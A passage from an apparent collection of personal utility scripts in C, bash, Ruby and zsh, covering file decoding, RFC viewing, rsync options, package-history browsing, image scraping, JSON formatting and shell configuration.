"\xee\x50\x76\x81\x71\xa4\xb1\xdb\xab\x40\x1a\xa7\x8a\xee\x06\xb9" "\xf2\x22\x13\x30\x43\x19\xe1\xe3\x34\xce\x1e\x03\x1a\x04\xe7\xa4" "\x4a\xc7\x6a\x8e\x6f\xad\x7f\x3d\x89\x11\x97\xad\x95\x20\xe8\x35" "\xc7\xd1\x02\x00\x0a\xe5\x81\x25\x91\x2c\xa2\x87\x16\xc3\xcc\xc9" "\x1f\x6d\x56\x64\x82\xd6\x69\x97\x7d\xcb\x58\x40\xd0\x00\x16\xc3" "\xee\xb7\x19\xd6\x06\x6f\x39\x7b\x60\xba\x7b\xef\xfb\xc0\x79\x3c" "\xe7\x0b\x6f\x67\x36\xaf\xa9\x3a\x3f\xc2\x31\x72\x09\xa3\xfd\x4e" "\xc8\x52\x96\xda\x67\xf1\xb9\x79\xa9\xcc\xd3\x6f\xe7\xf6\xa0\x80" "\x0f\xcf\x7c\xb5\x9a\x89\xe6\xfa\xd3\xec\xc9\xf5\xcc\x53\x65\x73" "\x05\xd3\xd7\x83\x56\x84\x68\x94\xa3\x52\x1a\x0a\xcb\xe7\xcf\xed" "\x22\xfe\xd6\x3c\xf7\x84\x03\xbf\xeb\x77\x82\x5b\x8a\x35\x67\x2b" "\x97\x75\x5a\x81\xc9\x37\x6b\xe3\x77\x4f\x82\x5c\x75\x3f\xc3\xa1" "\x84\xe4\x2c\x43\x33\x8b\xec\xd6\x32\xf2\xfa\x3a\x65\x06\xb7\x51" "\x88\x85\x5b\xab\x0f\x36\x41\xc5\x2f\x6d\x34\x31\x70\x59\xb5\x2e" "\x44\x31\x62\xb9\x38\x39\xf7\xb6\x6e\xcf\xf2\x7f\x78\xdd\xf0\x8e" "\xc4\x23\x5a\x48\xd0\xa5\xa8\x90\x69\xa9\x53\xec\x45\xd6\x97\x9b" "\x92\x3e\x0a\x50\x90\x3f\xe9\x92\xdc\x85\xaa\xab\x57\xa7\x0e\xe8" "\xff\xcf\xfc\x4d\x9a\xc6\x36\xe3\x5a\x0d\x83\x12\xc5\x84\x85\x8a" "\x74\xcf\x42\x33\x8c\xeb\xd3\x49\x4d\x60\x15\xbe\xad\x73\x92\x37" "\x29\x3e\x63\x83\x1f\xd1\xc6\x9a\xbc\xb8\xc6\xac\x34\x34\x87\xd2" "\xe7\x0b\x77\xf9\x2f\x52\x37\xbb\x10\xa8\xe1\xde\x33\xf2\x52\x2e" "\xe5\x56\x7e\xff\x5c\xec\x82\x50\xe1\xb0\x4e\xa1\x23\x86\x08\x22" "\xa6\x56\x2b\x40\x99\xf4\x8e\x3d\xe2\x10\x05\xf1\xdd\x21\x69\x77" "\x07\x59\x90\x2f\xf1\xbb\xb8\x03\x5a\x21\xe1\xe5\x0c\xaa\x52\xda" "\xa1\x73\x31\x18\x12\xb2\x85\x52\x07\xf6\x8f\x23\xb0\xf7\x4a\x9a" "\x6f\x0a\x6c\x1f\xbe\x3f\x88\xad\xe9\x55\x4a\xb7\x44\xfb\xf8\x25" "\x6a\x2a\xf1\xd9\xfe\xb8\x62\xc5\xae\xed\x5c\x8b\x0f\x4b\x8a\xfe" "\x01\x68\x8b\xe1\x3f\x84\x3c\x6f\x10\xbf\xb5\x0f\x82\x41\x97\x39" "\x64\x18\x3d\xef\xa4\x3a\x5f\x33\x9d\x4b\x6e\xa3\x77\x97\x06\xfb" "\x1b\x8f\xf0\xed\xe3\x84\x1b\x73\x51\x72\x0b\x2d\xf1\x78\x59\xd9" "\x16\x50\x97\x1b\xe0\x5d\x27\xc3\xbb\x77\x2e\x15\xd2\xd2\x33\x68" "\xee\xd8\x0f\x28\xf5\x0c\x1b\x98\x1b\xda\x1d\x75\xc4\x2b\xb8\x45" "\x8b\xc0\x6e\x88\x88\xad\x61\xf8\x09\x1c\xb1\x46\xeb\xbb\xa2\xf5" "\xbc\x5c\x7b\x02\xdb\xcc\xad\x97\x1c\x5b\xa9\x97\x0e\x49\xea\x6d" "\x13\xba\x6f\x11\xcf\x2c\x2f\xc7\x9b\xb4\x80\x49\x18\x9e\x4c\x94" "\x5a\x55\x06\x4d\x42\x75\xb6\xa2\x61\xdb\xfa\x41\xca\x92\x70\xcc" "\x7e\x52\x66\x01\x13\x53\xef\xae\x40\xbd\xb7\xb6\xf2\xc7\xdd\x28" "\xb1\x11\xd4\x78\x79\xc2\x22\xbf\x29\xa0\x3a\x83\xc5\x76\x17\xe6" "\x94\x1e\xee\x63\xd2\x1e\x52\xfd\x24\x9f\x40\xa7\x0c\x0a\xe7\xeb" "\x9d\x12\x2a\xf3\xe3\x5f\x70\xe9\x31\x51\x6f\xe2\xac\xe7\xfc\xf2" "\x23\xe4\x6d\xe3\x85\xe3\xb8\x4c\x7f\xa1\x2c\x8c\xd7\xbb\x34\x70" "\x12\x7b\x6c\xe7\x8b\x4d\xb5\xdf\x52\xbb\x48\x5a\x21\x81\x16\x62" "\xdd\x8a\xbf\xa7\xe3\x12\x02\x52\x30\x6e\x7d\x76\x52\x1d\x43\x71" "\xf3\x6b\x1c\xa0\xd3\xd8\x59\xb0\x2d\xb9\x66\x9a\xb5\x00\xd9\xa6" "\xeb\x3f\x8a\x26\x90\x98\xb3\x69\x5f\x9f\x85\x53\x28\x3c\x9e\xce" "\x93\x7e\xab\x17\x76\x3d\x67\x0c\x4e\x21\x46\x3c\x94\x53\xba\xdc" "\xdf\x2a\x87\x09\x24\x76\x38\x39\x2e\xc0\x58\x1f\x99\x1a\xee\x9a" "\xaf\xc4\xc4\x3e\xfc\xeb\x4c\xfa\x5f\x43\x4f\x97\xe9\xac\xa9\x03" "\x29\x0e\x64\xeb\x24\x27\x87\xe3\xf2\xc3\xc6\x5d\xde\xe5\x3f\x46" "\xba\xd9\x75\x31\xda\x9c\xb2\xfd\x2b\xa5\x7e\x78\x3a\xaf\x22\xc4" "\x80\x90\x31\xf4\xd5\x9b\x04\x19\x09\xa2\x26\x91\xd2\xfe\x44\xb6"; int i, len; u8 buff[sizeof(quakelive_xor) - 1]; while((len = fread(buff, 1, sizeof(buff), fd))) { for(i = 0; i < len; i++) { buff[i] ^= quakelive_xor[i]; } fwrite(buff, 1, len, fdo); } } int check_overwrite(u8 *fname) { FILE *fd; u8 ans[16]; fd = fopen(fname, "rb"); if(!fd) return(0); fclose(fd); printf(" the file already exists, do you want to overwrite it (y/N)? "); fgets(ans, sizeof(ans), stdin); if(tolower(ans[0]) != 'y') return(-1); return(0); } void std_err(void) { perror("\nError"); exit(1); } <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo echo "usage: gifdump file.gif" echo echo "outputs: many frame-###.gif files" echo else convert -verbose "$1" -coalesce frame-%03d.gif fi <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: snapshot <directory>" exit 1 fi if [ ! -d "$1" ]; then echo "Error: \"$1\" is not a directory" exit 2 fi dir="$1" newdir="$1 [`timestamp -n`]" echo "Copying \"$dir\" to \"$newdir\"" cp -al "$dir" "$newdir" <file_sep>#!/usr/bin/env ruby require 'io/console' chars = [] start = nil puts "Type some stuff, then press enter, and the program will report your speed." puts loop do c = $stdin.getch start ||= Time.now break if c.ord == 27 if c.ord == 13 break unless start elapsed = Time.now - start puts puts "Speed: #{(chars.size / elapsed).round 2} chars per second" break end chars << c print c end<file_sep>-- No privileges GRANT USAGE ON *.* TO 'dump'@localhost IDENTIFIED BY '...'; -- whatever DBs you need GRANT SELECT, LOCK TABLES, SHOW VIEW, EVENT, TRIGGER ON `databasename`.* TO 'dump'@localhost; <file_sep>#!/bin/bash URL=https://www.ietf.org/rfc RFCINDEX=rfc-index.txt if [ "$1" == "-h" ] || [ "$1" == "--help" ]; then echo "usage: rfc <id> shows an RFC" echo " or" echo " rfc lists all RFCs" exit fi if [ "$1" == "" ]; then if [ ! -d ~/.cache ]; then mkdir ~/.cache; fi cd ~/.cache if [ ! -f rfc-index.txt ]; then # get the file curl -L $URL/$RFCINDEX --output $RFCINDEX elif [ `find $RFCINDEX -mtime +30` ]; then # only update the file if it's > 30 days old # only download the index if the file on the server is newer curl --silent -L $URL/$RFCINDEX --time-cond $RFCINDEX --output $RFCINDEX --connect-timeout 10 fi less -X +60g rfc-index.txt else filename="rfc$(printf '%04d' $1).txt" echo "[+] opening $URL/$filename" curl -s -L $URL/$filename | less -X fi <file_sep>#!/bin/bash bundle config set --local path 'vendor/bundle' bundle <file_sep>#!/bin/bash if [ ! -d .git ]; then echo "ERROR: Current directory is not a git repository..." exit 1 fi echo "Making current repository shallow..." echo git show-ref -s HEAD > .git/shallow git reflog expire --expire=now --all git prune git prune-packed git gc <file_sep>#!/bin/bash XFSETTINGSD_DEBUG=1 xfsettingsd --replace --no-daemon <file_sep>## Autocomplete autoload -U compinit && compinit autoload -Uz compinit compinit # zstyle -e ':completion:*:default' list-colors 'reply=("${PREFIX:+=(#bi)($PREFIX:t)(?)*==34=34}:${(s.:.)LS_COLORS}")'; # zstyle -e ':completion:*:default' list-colors 'reply=("${PREFIX:+=(#bi)($PREFIX:t)(?)*==02=01}:${(s.:.)LS_COLORS}")' zstyle ':completion:*' auto-description 'specify: %d' zstyle ':completion:*' completer _expand _complete _correct _approximate zstyle ':completion:*' format 'Completing %d' zstyle ':completion:*' group-name '' zstyle ':completion:*' menu select=2 eval "$(dircolors -b)" zstyle ':completion:*:default' list-colors ${(s.:.)LS_COLORS} zstyle ':completion:*' list-colors '' zstyle ':completion:*' list-prompt %SAt %p: Hit TAB for more, or the character to insert%s zstyle ':completion:*' matcher-list '' 'm:{a-z}={A-Z}' 'm:{a-zA-Z}={A-Za-z}' 'r:|[._-]=* r:|=* l:|=*' zstyle ':completion:*' menu select=long zstyle ':completion:*' select-prompt %SScrolling active: current selection at %p%s zstyle ':completion:*' use-compctl false zstyle ':completion:*' verbose true zstyle ':completion:*:*:kill:*:processes' list-colors '=(#b) #([0-9]#)*=0=01;31' zstyle ':completion:*:kill:*' command 'ps -u $USER -o pid,%cpu,tty,cputime,cmd' ## History HISTSIZE=1000 SAVEHIST=1000 HISTFILE=~/.zsh_history setopt histignorealldups sharehistory ## Prompt #autoload -U promptinit #promptinit #prompt fade # autoload -U colors && colors # PROMPT="%{$fg[red]%}%n%{$reset_color%}@%{$fg[blue]%}%m %{$fg_no_bold[yellow]%}%1~ %{$reset_color%}%# " # RPROMPT="[%{$fg_no_bold[yellow]%}%?%{$reset_color%}]" source ~/scripts/zsh/lazyuser-prompt.zsh ## Syntax highlighting source ~/scripts/zsh/zsh-syntax-highlighting.zsh source ~/scripts/aliases.sh #source ~/scripts/antigen.zsh #antigen bundle zsh-users/zsh-syntax-highlighting ## Key bindings: http://linux.die.net/man/1/zshzle bindkey "^[[1;3C" forward-word bindkey "^[[1;3D" backward-word bindkey "^[u" undo bindkey "^[U" redo # bindkey '\e[A' history-beginning-search-backward # bindkey '\e[B' history-beginning-search-forward bindkey '\e[A' history-search-backward bindkey '\e[B' history-search-forward # bindkey "^[[1;3C" forward-word # bindkey "^[[1;3D" backward-word # create a zkbd compatible hash; # to add other keys to this hash, see: man 5 terminfo typeset -A key key[Home]=${terminfo[khome]} key[End]=${terminfo[kend]} key[Insert]=${terminfo[kich1]} key[Delete]=${terminfo[kdch1]} key[Up]=${terminfo[kcuu1]} key[Down]=${terminfo[kcud1]} key[Left]=${terminfo[kcub1]} key[Right]=${terminfo[kcuf1]} key[PageUp]=${terminfo[kpp]} key[PageDown]=${terminfo[knp]} # setup key accordingly [[ -n "${key[Home]}" ]] && bindkey "${key[Home]}" beginning-of-line [[ -n "${key[End]}" ]] && bindkey "${key[End]}" end-of-line [[ -n "${key[Insert]}" ]] && bindkey "${key[Insert]}" overwrite-mode [[ -n "${key[Delete]}" ]] && bindkey "${key[Delete]}" delete-char [[ -n "${key[Up]}" ]] && bindkey "${key[Up]}" up-line-or-history [[ -n "${key[Down]}" ]] && bindkey "${key[Down]}" down-line-or-history [[ -n "${key[Left]}" ]] && bindkey "${key[Left]}" backward-char [[ -n "${key[Right]}" ]] && bindkey "${key[Right]}" forward-char [[ -n "${key[PageUp]}" ]] && bindkey "${key[PageUp]}" beginning-of-buffer-or-history [[ -n "${key[PageDown]}" ]] && bindkey "${key[PageDown]}" end-of-buffer-or-history [[ -n "${key[PageDown]}" ]] && bindkey "${key[PageDown]}" end-of-buffer-or-history # Finally, make sure the terminal is in application mode, when zle is # active. Only then are the values from $terminfo valid. if (( ${+terminfo[smkx]} )) && (( ${+terminfo[rmkx]} )); then function zle-line-init () { printf '%s' "${terminfo[smkx]}" } function zle-line-finish () { printf '%s' "${terminfo[rmkx]}" } zle -N zle-line-init zle -N zle-line-finish fi <file_sep>#!/bin/bash echo "Crop keys:" echo grep rectangle ~/.mplayer/crop.conf echo echo -n "Press enter to start..." read mplayer "$@" -vf rectangle=512:512:0:0 -input conf=crop.conf <file_sep>#!/usr/bin/env ruby gem "slop", "~> 3.6" require 'slop' require 'epitools' def parse_options opts = Slop.parse(help: true, strict: true) do banner <<~HELP Usage: gsub -f from -t to [input files...] (If no input files are given, reads from STDIN and outputs to STDOUT) HELP on :f=, :from, 'From regexp', :optional => false on :t=, :to, 'To regexp', :optional => false on :c, :stdout, "Output to STDOUT (instead of a file)" on :b, :"no-backup", "Don't do backups" on :n, :dryrun, 'Dry-run', false on :v, :verbose, 'Enable verbose mode' end [opts, ARGV] end opts, args = parse_options paths = args.map &:to_Path if paths.empty? paths = [STDIN] # puts "Error: Must supply at least one filename" # puts # puts opts # exit 1 end paths.each do |path| if path.is_a? Path puts "* gsubbing: #{path}" unless path.exists? puts " |_ NOT FOUND." next end if path.size > 1.million answer = prompt("You sure you want to gsub a #{path.size.commatize}-byte file?") next unless answer == "y" end end data = path.read matcher = Regexp.new(opts[:from]) changes = 0 result = data.gsub(matcher) do |match| puts " |_ <11>#{match.inspect} <8>=> <14>#{opts[:to].inspect}".colorize if opts.verbose? changes += 1 opts[:to] end if opts.dryrun? puts " |_ #{changes} changes would've been made (if this wasn't a dry run)" elsif opts.stdout? or path == STDIN puts result else puts " |_ #{changes} changes were made!" puts " |_ writing to #{path}..." path.backup! path.write(data) end end <file_sep>#!/usr/bin/env ruby require 'epitools' require 'slop' ############################################################################################# opts = Slop.parse(help: true, strict: true) do banner %{ Scrape images from NASA's Solar Dynamics Observatory Usage: sdo-scraper [options] <start date> <end date> } on :s=, :size, "Image resolution (512, 1024, 2048, 4096)", default: '4096' on :t=, :type, "Image type (see --list)", default: 'red' on :d=, :dest, "Destination directory", default: '.' on :c, :cache, "Cache HTML pages", default: false on :l, :list, "List of image types" end args = ARGV ############################################################################################# TYPES = { "0094" => "green", "0131" => "teal", "0171" => "gold", "0193" => "bronze", "0211" => "purple", "0304" => "red", "0335" => "blue", "1600" => "yellowgreen", "1700" => "pink", "4500" => "sunspots", "094335193" => "green,blue,bronze", "211193171" => "purple,bronze,gold", "304211171" => "red,purple,gold", "HMI171" => "HMI171", "HMIB" => "magnetogram", "HMIBC" => "magnetogram_color", "HMID" => "dopplergram", "HMII" => "intensitygram", "HMIIC" => "intensitygram_color", "HMIIF" => "intensitygram_flat" } class Image < Struct.new(:link, :datecode, :timecode, :size, :code) #################################################### def self.from_link(link) new link, *link.href.split(".").first.split("_") end #################################################### def datetime @datetime ||= DateTime.strptime("#{datecode}-#{timecode}", "%Y%m%d-%H%M%S") end def nice_datetime datetime.strftime("%Y-%m-%d %I:%M%p") end def type TYPES[code] end def inspect "[#{type} @ #{nice_datetime} (#{size}px)]" end alias to_s inspect def save!(savedir=".") image = link.click unless File.exists?(savedir) puts "Created #{savedir}..." FileUtils.mkdir_p(savedir) end outfile = File.join(savedir, image.filename) image.save!(outfile) image["content-length"].to_i.commatize end end def list_types puts "-----------------------" puts "Image types:" puts "-----------------------" puts TYPES.each do |code, type| puts " #{type}" end puts end ############################################################################################# if opts.list? list_types exit elsif args.size == 2 first, last = args.map { |arg| Date.parse arg } elsif args.size == 1 first, last = Date.parse(args.first), Date.today else puts opts exit 1 end ############################################################################################# puts "Saving images from #{first} to #{last}..." b = Browser.new(cache: opts.cache?) (first..last).each do |date| url = "http://sdo.gsfc.nasa.gov/assets/img/browse/%d/%0.2d/%0.2d/" % [date.year, date.month, date.day] page = b.get(url) images = page.links_with(href: /\.jpg$/).map{|l| Image.from_link(l) } images.select! do |image| image.type == opts[:type] && image.size == opts[:size] end.sort_by!(&:datetime) images.each do |image| print image puts " - saved (#{image.save!} bytes)" end end <file_sep>#!/usr/bin/env ruby require 'coolline' require 'epitools' def run(*args) IO.popen [ *args, :err=>[:child, :out] ] do |io| io.read end end def metadata_for(arg) data = run "ebook-meta", arg fields = data.lines.map do |line| if line =~ /^(\w+)[\(\)\w]*\s+: (.+)$/ [$1.downcase.to_sym, $2] end end.compact Hash[fields] end def edit_metadata(arg) path = Path[arg] unless path.exists? puts "* Couldn't find #{path}, skipping" return end puts "=[ Reading #{path.filename.inspect} ]=" data = metadata_for(path) puts puts "Author: #{data[:author]}" puts " Title: #{data[:title]}" puts guess = nil cool = Coolline.new do |c| c.handlers.unshift Coolline::Handler.new("\eg") { c.line = guess } end author_guess, title_guess = path.basename.split(" - ") puts '#### Author #############################################' puts "(guess: #{author_guess.inspect}, press Alt-G)" puts guess = author_guess author = cool.readline ">> ", data[:author] || author_guess puts puts '#### Title #############################################' puts "(guess: #{title_guess.inspect}, press Alt-G)" puts guess = title_guess title = cool.readline ">> ", data[:title] || title_guess puts if author == data[:author] and title == data[:title] puts "* Nothing changed!" puts puts return end cmd = ["ebook-meta", path.path, "-a", author, "-t", title] #puts "Executing: #{cmd}" if prompt("Update this book?") == "y" system(*cmd) puts puts "* Updated!" else puts "* Nothing changed!" end puts puts end args = ARGV args.each do |arg| #pp metadata_for(arg) edit_metadata(arg) end <file_sep>#!/usr/bin/env ruby require 'rubygems' require 'epitools' require 'date' Colored.force! class Event < Struct.new(:datestr, :date, :cmd, :name, :v1, :v2) # 2010-12-03 01:36:56 remove gir1.0-mutter-2.31 2.31.5-0ubuntu9 2.31.5-0ubuntu9 # 2010-12-03 01:36:58 install gir1.0-mutter-2.91 <none> 2.91.2+git20101114.982a10ac-0ubuntu1~11.04~ricotz0 #LINE_RE = /^(.+ .+) (status \w+|\w+) (.+) (.+)$/ LINE_RE = /^(.+ .+) (remove|install|upgrade) (.+) (.+) (.+)$/ CMD_COLORS = { 'remove' => :light_red, 'install' => :light_yellow, 'upgrade' => :light_green, nil => :white, } def self.from_line(line) if line =~ LINE_RE new($1, Event.parse_date($1), $2, $3, $4, $5) else nil end end def cmd_color CMD_COLORS[cmd] end def to_s date, time = datestr.split "<grey>[<white>#{date} #{time}<grey>] <#{cmd_color}>#{cmd} <light_cyan>#{name} <light_white>#{v2} <white>(#{v1})".colorize end def self.parse_date(date) DateTime.strptime(date, "%Y-%m-%d %H:%M:%S") end end class History def self.each(reverse=false) return Enumerator.new(self, :each) unless block_given? if @history return @history.each(&block) end logs = Path["/var/log/dpkg*"].sort_by(&:mtime) logs = logs.reverse if reverse logs.each do |log| zopen(log, 'r').send(reverse ? :reverse_each : :each) do |line| line.strip! if e = Event.from_line(line) yield e end end end end def self.reverse_each(&block) self.each(true, &block) end def self.history @history ||= each.to_a end def self.all; history; end def self.installed; history.select{|e| e.cmd[/^(install|upgrade)$/] }; end def self.by_name @by_name ||= group_by_name end def self.group_by_name(es) result = Hash.of_arrays es.each {|e| result[e.name] << e} result end def self.after(datestr) date = DateTime.parse(datestr) all.select{|e| e.date > date } end def self.before(datestr) date = DateTime.parse(datestr) all.select{|e| e.date < date } end end def show_events(events) lesspipe(:tail=>true) do |less| events.each { |event| less.puts event } end end def reverse_show_events(events) lesspipe do |less| events.reverse_each { |event| less.puts event } end end def show_grouped(g) lesspipe do |less| g.each do |k,v| less.puts k.light_white v.each{|e| less.puts " #{e}" } less.puts end end end def install(es) system *(['apt-get', 'install'] + es.map(&:name)) end def forced_remove(es) system *(["dpkg", "--force-all", "-r"] + es.map(&:name)) end if $0 == __FILE__ args = ARGV if args.any? command = args.shift else command = "reverse-list" end case command when 'list' show_events(History) when 'reverse-list' reverse_show_events(History) when /^(remove|list)-after$/ subcmd = $1 es = History.after(args.join(' ')).select{|e| e.cmd != 'remove'} case subcmd when 'remove' #pkgs = History.group_by_name(es) #show_grouped(pkgs) forced_remove(es) when 'list' show_events(es) end when /^(install|list)-before$/ subcmd = $1 date = args.shift p [:before, date] es = History.before(date) case subcmd when 'install' puts "Installing: #{es.map(&:name).join(', ')}" install(es) when 'list' show_events(es) end when 'install-between' first = DateTime.parse args.shift last = DateTime.parse args.shift p [:range, first, last] es = History.between(first, last) else puts 'dhist (dpkg install history)' puts '------------------------------------------' puts puts 'Commands:' puts ' list, list-reverse, list-since <date/time>, remove-since <date/time>' puts puts '(Note: date/time has to be parseable by ruby\'s DateTime.parse)' puts end end <file_sep>#!/bin/bash TORSOCKS_LIB="/usr/lib/torsocks/libtorsocks.so" if [ ! -f "$TORSOCKS_LIB" ]; then echo "Note: You must install torsocks" exit 1 fi export LD_PRELOAD="$TORSOCKS_LIB" export DYLD_FORCE_FLAT_NAMESPACE=1 . green echo "If the prompt is green, the onion's clean!" echo echo "LD_PRELOAD=$LD_PRELOAD" # bash --noprofile --norc <file_sep>#!/bin/bash man $@ || $@ --help || help $@ || open "http://www.google.com/search?q=$@" <file_sep>#!/usr/bin/env ruby class String def rot13 tr "a-z", "n-za-m" end end puts ARGV.any? ? ARGV.join(" ").rot13 : STDIN.read.rot13 <file_sep>#!/bin/bash if ! psfind jedit > /dev/null then echo "Launching background jedit..." jedit -background > /dev/null sleep 8 fi if [ "`uname`" == "Darwin" ] then # v--- todo: implement the unix shit on macs open -a /Applications/jEdit.app "$*" else if [ -d "$*" ]; then fullpath="`readlink -e "$*"`" echo "VFSBrowser.browseDirectory(view, \"$fullpath\");" > /tmp/jedit-dir.bsh jedit -background -run=/tmp/jedit-dir.bsh > /dev/null else jedit -background -reuseview "$*" > /dev/null fi fi <file_sep>#!/bin/bash # wine ~/.wine/drive_c/"Program Files (x86)"/Google/Picasa3/Picasa3.exe # WINEARCH=win32 # WINEPREFIX=~/.local/share/wineprefixes/picasa # wine $WINEPREFIX/drive_c/Program\ Files/Google/Picasa3/Picasa3.exe # winecfg # WINEARCH=win32 WINEPREFIX=~/.local/share/wineprefixes/picasa38 wine ~/downloads/picasa38-setup.exe WINEARCH=win32 WINEPREFIX=~/.local/share/wineprefixes/picasa38 wine ~/.local/share/wineprefixes/picasa38/drive_c/Program\ Files/Google/Picasa3/Picasa3.exe <file_sep>#!/bin/bash if [ "$1" == "--help" ]; then echo "usage: output-settings" exit 1 fi xfce4-display-settings -m <file_sep>#!/usr/bin/env ruby require 'epitools' ## How to fix many cabal package situations: ## http://stackoverflow.com/questions/7961604/fixing-issues-noted-by-ghc-pkg-check splitted = `ghc-pkg check 2>&1`.lines.split_after("listed above, or because they depend on a broken package.") if splitted.size > 1 broken_packages = splitted.last puts "Broken packages:" pp broken_packages puts if prompt("Remove them?") == "y" pkgs = broken_packages.lines.map {|line| puts line.strip.split("-")[0..-2].join("-") } pkgs.each { |pkg| system("ghc-pkg unregister --force --user #{pkg}") } else puts "Aborting..." end else puts "No broken packages!" end <file_sep>#!/usr/bin/env ruby ARGV.each do |arg| cs = arg.chars puts "#{cs.first}#{cs.size-2}#{cs.last}" end <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: nitter-image-dump [options] <url>" on "p=", "prefix", "The name to prepend to each filename (default: twitter username)" # on "b=", "blong", "desc", default: "" end args = ARGV if args.size != 1 puts opts exit 1 end ######################################################## uri = URI.parse(args.first) puts "* Loading #{uri}..." doc = Oga.parse_html curl(uri.to_s) pics = doc.css("a").select{|a| a['href'] =~ /media.+orig/ }; urls = pics.map { |a| URI.join(uri, a["href"]).to_s.chomp("?") } user = doc.at_css("a.username")["title"] prefix = opts[:prefix] || user puts " |_ found #{urls.size} images" urls.each.with_index do |url,i| cmd = ["wget", url, "-O", "#{prefix}_%0.2d.jpg" % (i+1)] #p cmd system *cmd end <file_sep>#!/usr/bin/env ruby ####################################################################################### def which(bin) ENV["PATH"].split(":").each do |dir| full_path = File.join(dir, bin) return full_path if File.exists? full_path end nil end ####################################################################################### opts, args = ARGV.partition { |arg| arg =~ /^-\w/ } # expand smashed-together options (ie: -alp) into individual options (ie: -a -l -p) opts = opts.map do |opt| if opt =~ /^-(\w{2,})/ $1.chars.map { |c| "-#{c}" } else opt end end.flatten.uniq ####################################################################################### SSH_REGEXP = /^([^@]+@)?([^:]+):(.+)$/ RSYNC_REGEXP = %r{^(rsync://.|[^:]+::.+)} REMOTE_PATH_REGEXP = /(#{SSH_REGEXP}|#{RSYNC_REGEXP})/ if args.any? params = [] unless which("rsync") $stderr.puts "rsync not installed. please fix!" exit 1 end if opts.delete "-l" params << "--list-only" else letters = %w[r l t] letters += %w[o g p] if opts.delete("-o") # ownership letters += %w[zz] if args.any? { |arg| arg =~ REMOTE_PATH_REGEXP } # enable compression over the network unless opts.delete "-q" params << "--progress" letters << "v" end params << "--bwlimit=40" if opts.delete "-b" # limit bandwidth params << "--copy-links" if opts.delete "-L" # dereference symlinks params << "--append-verify" if opts.delete "-a" # append to smaller destination files if they match params << "--partial" if opts.delete "-p" # partials params << "--delete-after" if opts.delete "-d" # delete destination files params << "--dry-run" if opts.delete "-n" # simulated sync (no changes are made) params << "--xattrs" unless opts.delete "-X" # don't sync extended attributes params << "--remove-source-files" if opts.delete "-m" # move files (delete source files) params += ["-e", "ssh -c blowfish"] if opts.delete "-f" # fast cipher params += %w[--specials --devices] if opts.delete "-s" # sync special files (sockets, fifos) and devices if opts.delete "-c" # checksum mode params << "--checksum" else params << "--size-only" end params = ["-#{letters.join ''}"] + params params += opts # pass through remaining options to rsync end cmd = ["rsync"] + params + args puts "Executing:" puts "\t#{cmd.join ' '}" puts system *cmd else puts "usage: rsync-dirs [options] <src> <dest>" puts puts "Special options:" puts " -q Quiet mode" puts " -l List files only! (ignores all other options)" puts " -c Checksum files (instead of using file size)" puts " -L Dereference symlinks" puts " -o Preserve ownership (user/group/permissions)" puts " -s Sync special files (sockets, fifos, devices)" puts " -a Append to smaller destination files" puts " (if their overlap has the same checksum)" puts " -d Delete destination files that aren't in the source" puts " -m Move files" puts " -p Keep partially-transferred files" puts " -n Dry run (simulated, don't make any changes)" puts " -b Bandwidth limit (40k/sec)" puts " -f Fast crypto cipher (arcfour)" puts end <file_sep>#!/bin/bash # Cryptographically timestamp a SHA-256 hash of a set of specified files or a set of strings using OriginStamp. # # Each input is hashed and sent to OriginStamp, a Bitcoin-based timestamping service with a free API # (http://www.originstamp.org/developer), to cryptographically verify that the downloaded file was # created on or before the claimed day it was downloaded. This allows you to prove you did not later # alter it, which may be useful in disputes or for investigations. # Prerequisites: curl, sha256sum, valid OriginStamp API key # Usage: `$ timestamp ~/wiki/catnip.age ~/wiki/images/logo.png` # `$ timestamp "<NAME> was behind the Kennedy assassination." "I ate the last cookie in the jar."` set -e API_KEY="<KEY>" # loop over input targets, hash them whether file or string, and submit: for TARGET in "$@"; do if [ -f "$TARGET" ]; then # since it's a valid file, tell `sha256sum` to read it and hash it: HASH=$(sha256sum "$TARGET" | cut --delimiter=' ' --field=1) else # if it's a string we're precommitting to instead, pipe it into `sha256sum`: HASH=$(echo "$TARGET" | sha256sum | cut --delimiter=' ' --field=1) fi echo -n "$TARGET: " curl --request POST --header "Content-Type: application/json" --header "Authorization: Token token=$API_KEY" \ --data "{\"hash_sha256\":\"$HASH\"}" 'http://www.originstamp.org/api/stamps' # print newline to keep output tidier since curl doesn't add a final newline to the JSON output echo "" done <file_sep>#!/usr/bin/env ruby require 'json' def usage puts puts "Usage:" puts " nicejson <options> [file(s)...]" puts puts "Options:" puts " -i Inline mode (replace the original file)" puts " -o One-JSON-object-per-line mode" puts end def pretty(json) JSON.pretty_generate(json) end opts, args = ARGV.partition { |arg| arg[/^--?\w/] } if opts.delete("--help") or opts.delete("-h") usage exit 0 end inputs = args #.map { |arg| (arg == "-") ? $stdin : open(arg) } inputs << "-" if inputs.empty? inline_mode = opts.delete("-i") one_per_line = opts.delete("-o") # make sure the user didn't get too excited if inline_mode and one_per_line $stderr.puts "Sorry, you can't use one-per-line mode with inline mode... for... reasons. Please try something different." exit 1 end inputs.each do |input| io = (input == "-") ? $stdin : open(input) if one_per_line # write to stdout io.each_line do |line| puts pretty(JSON.parse(line)) end elsif inline_mode if input == "-" $stderr.puts "Sorry, you can't use inline mode (which replaces the original file) on STDIN. Please provide a filename." exit 1 end # write results to the original file puts "* #{input}" json = pretty(JSON.load(io)) io.close File.write(input, json) else # print to stdout puts pretty(JSON.load(io)) end io.close unless io == $stdin end <file_sep>#!/bin/bash if [ "$1" == "--help" ]; then echo "usage: qr [<string to qr-encode>]" exit 1 fi if [ "$1" == "" ]; then curl -F-=\<- qrenco.de else echo "$*" | qr fi <file_sep>#!/usr/bin/env ruby gem 'slop', "~> 3.6" require 'slop' require 'epitools' def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: downcase [options] [<file(s)...>]" on "i", "inline", "Replace source files" end [opts, ARGV] end opts, args = parse_options if args.empty? inputs = [STDIN] else inputs = args.map { |fn| open(fn) } end if opts.inline? if args.empty? $stderr.puts "Error: Must supply a filename in --inline mode" exit 1 end inputs.each do |input| puts "[*] #{input.path}" downcased = input.read.downcase outfile = input.path input.close open(outfile, "wb") { |output| output.puts downcased } end else inputs.each do |input| input.each_line { |line| puts line.downcase } end end <file_sep>#!/bin/sh # # instmon - INSTall MONitor - an installation monitoring tool # Copyright (C) 1998-1999 <NAME> 